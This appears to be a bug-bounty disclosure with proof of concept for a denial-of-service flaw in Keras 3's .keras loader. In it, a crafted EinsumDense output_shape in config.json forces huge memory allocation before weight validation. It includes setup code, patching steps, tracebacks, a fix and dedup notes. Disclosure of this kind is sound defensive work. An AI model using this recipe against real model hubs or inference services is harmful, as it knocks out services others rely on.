EnigmaConsultant/huntr-poc-keras-einsumdense-outputshape-equation-alloc-oom

Keras 3 .keras loader: attacker-controlled EinsumDense output_shape drives unbounded kernel allocation at build_from_config (CWE-789 DoS/OOM)

Target: keras (Keras 3) — keras.saving.load_model() on a .keras (ZIP) archive Affected version tested: keras==3.15.0 (numpy backend), Python 3.13.12, numpy 2.5.1, clean venv Vulnerable file/path: keras/src/layers/core/einsum_dense.py build() + _analyze_einsum_string, reached via keras/src/saving/serialization_lib.py:787 Class: CWE-789 Memory Allocation with Excessive Size Value (uncontrolled resource consumption / DoS-OOM) safe_mode: no protection — safe_mode=True only guards the __lambda__ deserialization path.

Summary

Loading a crafted .keras model triggers an arbitrarily large host memory allocation before any weight validation runs. Each layer is rebuilt from config.json first; for an EinsumDense layer the kernel shape is computed directly from three attacker-controlled JSON fields (equation, output_shape, and build_config.input_shape) with no upper bound, and add_weight() eagerly materializes that kernel via numpy.random.uniform in float64. A single integer in the JSON scales the allocation without limit. A ~1.7 KB file (benign, unchanged real weights) forces a multi-GB / multi-hundred-GB allocation and process death.

Root cause

During keras.saving.load_model(), serialization_lib.deserialize_keras_object() rebuilds each layer before weights are validated:

# keras/src/saving/serialization_lib.py:787
instance.build_from_config(build_config)

# keras/src/layers/layer.py:491
def build_from_config(self, config):
    ...
    self.build(config["input_shape"])

For EinsumDense, build() computes the kernel shape from attacker-controlled config and immediately allocates it:

# keras/src/layers/core/einsum_dense.py (build, ~180-212)
kernel_shape, bias_shape, full_output_shape = _analyze_einsum_string(
    self.equation,          # attacker-controlled: config 'equation'
    self.bias_axes,
    input_shape,            # attacker-controlled: build_config 'input_shape'
    self.partial_output_shape,  # attacker-controlled: config 'output_shape'
)
...
self._kernel = self.add_weight(
    name="kernel",
    shape=tuple(kernel_shape),        # unbounded
    initializer=self.kernel_initializer,  # GlorotUniform
    ...
)

add_weight -> GlorotUniform.__call__ -> random.uniform eagerly materializes the array:

# keras/src/backend/numpy/random.py:23
return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)  # float64

_analyze_einsum_string maps output_shape (partial_output_shape) straight onto the free kernel dimensions, so a single integer in the JSON linearly scales the kernel size with no ceiling. The allocation happens before the later weight-shape/weight-count mismatch check that would otherwise reject the (unchanged, tiny) model.weights.h5.

Attack surface / trigger

Only config.json inside the .keras ZIP is modified — the benign model.weights.h5 (~13 KB, valid weights) is left untouched. Patched fields on the EinsumDense entry:

• config.output_shape — e.g. [20000000] or [2000000000]
• (optionally) build_config.input_shape and config.equation

The resulting evil archive is 1716 bytes and still passes ZIP/format parsing; the OOM occurs during layer build, long before weight validation.

PoC

Built a legitimate 1-layer model and patched only config.json:

import keras
inp = keras.Input(shape=(8,))
out = keras.layers.EinsumDense("ab,bc->ac", output_shape=(4,), bias_axes="c")(inp)
keras.Model(inp, out).save("benign.keras")   # 13.7 KB, valid weights

Then, without touching the weights, set the EinsumDense output_shape field in config.json to a large integer and rezip (patch_load.py / huge.py). Loading with keras.saving.load_model(path, compile=False).

• NEGATIVE CONTROL — original output_shape=[4]: load_model succeeds, Python-traced peak ~202 KB.
• MID — output_shape=[20000000] -> 1716-byte file: load_model drives process RSS from 207.6 MB to 2039.0 MB (DELTA +1831 MB / ~1.8 GB), allocating an (8, 20000000) float64 kernel during build_from_config, then fails only afterward on the weight-count check — proving the alloc precedes weight validation.
• HUGE — output_shape=[2000000000] -> same 1716-byte file: load_model attempts a single (8, 2000000000) float64 kernel and dies with numpy._core._exceptions._ArrayMemoryError: Unable to allocate 119. GiB.

Captured evidence (verbatim)

=== NEGATIVE CONTROL (benign output_shape=4) ===
NEGATIVE CONTROL (benign output_shape=4):
('OK', 202351)     # loads fine, Python-traced peak ~202 KB

=== MID: output_shape=20,000,000 ===
file size bytes: 1716
RSS before load MB: 207.6
EXC ValueError: A total of 1 objects could not be loaded. ... Layer 'ed' expected 2 variables, but re...
RSS after MB: 2039.0 DELTA 1831.4    # ~1.8 GB allocated from a 1.7 KB file, BEFORE the weight-count check fires

=== HUGE: output_shape=2,000,000,000 ===  (fresh re-run, keras 3.15.0 / py3.13.12 / numpy 2.5.1)
  File ".../keras/src/saving/serialization_lib.py", line 787, in deserialize_keras_object
    instance.build_from_config(build_config)
  File ".../keras/src/layers/layer.py", line 491, in build_from_config
    self.build(config["input_shape"])
  File ".../keras/src/layers/core/einsum_dense.py", line 212, in build
    self._kernel = self.add_weight(
  File ".../keras/src/backend/common/variables.py", line 210, in __init__
    self._initialize_with_initializer(initializer)
  File ".../keras/src/backend/common/variables.py", line 418, in _initialize_with_initializer
    initializer(self._shape, dtype=self._dtype)
  File ".../keras/src/initializers/random_initializers.py", line 316, in __call__
    return random.uniform(
  File ".../keras/src/backend/numpy/random.py", line 23, in uniform
    return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 119. GiB for an array with shape (8, 2000000000) and data type float64
evil_huge size: 1716

Impact

A ~1.7 KB .keras file loaded by an unsuspecting victim (model hubs, CI pipelines, inference services that call load_model on untrusted uploads) forces an unbounded host allocation, causing OOM / process kill / node DoS. No code execution required and safe_mode=True provides no protection.

Suggested fix

Bound kernel dimensions derived from config before allocation (validate output_shape / input_shape / resulting kernel_shape against a sane cap), and/or defer eager weight materialization until after weight-shape validation so a config-only mismatch is rejected before any large allocation.

Dedup notes

Distinct layer and code path from previously reported Keras allocation findings (Dense units, Embedding input_dim, MHA num_heads/key_dim, RNN units, Conv2D filters, DepthwiseConv depth_multiplier, AUC num_thresholds, IoU num_classes, __numpy__ dtype, config-json bomb, legacy-h5 variants). This finding is keras/src/layers/core/einsum_dense.py build() + _analyze_einsum_string, driven by the equation + output_shape config fields. MultiHeadAttention internally uses EinsumDense, but the MHA finding covers num_heads/key_dim on the MultiHeadAttention layer — a different config surface — not the standalone EinsumDense layer's output_shape/equation knobs. HF dedup: no prior EinsumDense repo exists under EnigmaConsultant (the only einsum repo is huntr-poc-onnx-einsum-ellipsis-oob, which is ONNX and unrelated).